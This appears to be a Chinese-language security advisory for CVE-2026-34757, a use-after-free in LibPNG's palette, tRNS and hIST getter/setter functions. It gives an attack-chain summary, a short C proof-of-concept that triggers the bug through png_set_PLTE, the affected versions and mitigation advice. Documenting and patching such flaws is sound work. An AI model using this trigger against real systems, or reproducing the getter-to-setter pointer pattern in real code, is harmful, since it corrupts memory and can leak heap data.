IPBUF安全漏洞报告
English
CVE-2026-34757 CVSS 5.1 中危

CVE-2026-34757 LibPNG释放后重用漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-34757
漏洞类型
释放后重用
CVSS评分
5.1 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LibPNG

相关标签

释放后重用LibPNGUAF内存破坏信息泄露CVE-2026-34757

漏洞概述

LibPNG库在1.0.9至1.6.57之前的版本中存在释放后重用安全漏洞。当应用程序调用png_get_PLTE、png_get_tRNS或png_get_hIST等函数获取内部缓冲区指针后,若将该指针直接回传给对应的setter函数,setter会先释放内部缓冲区,再从该悬空指针读取数据。这会导致块元数据静默损坏或堆内存信息泄露。

技术细节

该漏洞的核心在于LibPNG库处理PLTE、tRNS和hIST图像块时的内存管理逻辑缺陷。在受影响版本中,getter函数(如png_get_PLTE)返回指向库内部堆内存的指针。如果应用程序逻辑错误地将此指针直接传递给对应的setter函数(如png_set_PLTE),setter会执行替换操作。该操作首先释放旧的内部缓冲区,不幸的是,传入的指针正指向该缓冲区,从而造成悬空指针。紧接着,setter尝试从该悬空指针读取数据并复制到新的缓冲区中。由于原内存区域已被释放,读取操作可能获取到陈旧数据,导致PNG块元数据被静默篡改;更危险的是,如果该内存被其他敏感数据重新占用,将导致堆内存信息泄露。结合CVSS向量分析,该漏洞利用难度低,无需用户交互,但受限于本地攻击向量,通常影响处理不可信PNG图像的本地服务或应用。

攻击链分析

STEP 1
1. 初始化与读取
攻击者诱导应用程序加载并解析特制的PNG文件,应用程序使用LibPNG库初始化读写结构体。
STEP 2
2. 获取内部指针
应用程序调用png_get_PLTE、png_get_tRNS或png_get_hIST函数,获取指向LibPNG内部堆内存缓冲区的指针。
STEP 3
3. 指针回传
应用程序存在逻辑缺陷,将上述获取的内部指针直接作为参数传递给对应的setter函数(如png_set_PLTE)。
STEP 4
4. 释放与重用
Setter函数执行替换逻辑,首先释放内部缓冲区,导致传入的指针变为悬空指针,随后尝试从该指针读取数据。
STEP 5
5. 内存破坏与泄露
读取已释放内存导致数据被静默篡改,或泄露后续堆分配的敏感信息,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <png.h> #include <stdio.h> /* * PoC for CVE-2026-34757 * This code demonstrates the Use-After-Free vulnerability in LibPNG. * It passes a pointer obtained from png_get_PLTE directly to png_set_PLTE, * causing the setter to read from freed memory. */ int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <png_file>\n", argv[0]); return 1; } FILE *fp = fopen(argv[1], "rb"); if (!fp) return 1; png_structp png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL); if (!png_ptr) return 1; png_infop info_ptr = png_create_info_struct(png_ptr); if (!info_ptr) { png_destroy_read_struct(&png_ptr, NULL, NULL); return 1; } png_init_io(png_ptr, fp); png_read_png(png_ptr, info_ptr, PNG_TRANSFORM_EXPAND, NULL); png_colorp palette; int num_palette; // Get the palette pointer from the internal structure if (png_get_PLTE(png_ptr, info_ptr, &palette, &num_palette)) { printf("Palette found. Attempting to trigger UAF...\n"); // VULNERABILITY: Passing the internal pointer back to the setter. // The setter will free the buffer pointed to by 'palette' and then // attempt to read from it, causing a Use-After-Free. png_set_PLTE(png_ptr, info_ptr, palette, num_palette); printf("UAF Triggered. Check for memory corruption or leaks.\n"); } png_destroy_read_struct(&png_ptr, &info_ptr, NULL); fclose(fp); return 0; }

影响范围

LibPNG >= 1.0.9, < 1.6.57

防御指南

临时缓解措施
如果无法立即升级LibPNG库,开发者应审查所有使用LibPNG API的代码。确保不要将从png_get_PLTE、png_get_tRNS或png_get_hIST获取的指针直接传回对应的setter函数。建议在调用setter之前,复制所需的数据到新分配的缓冲区中,或者避免对同一结构体重复调用这类函数组合。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表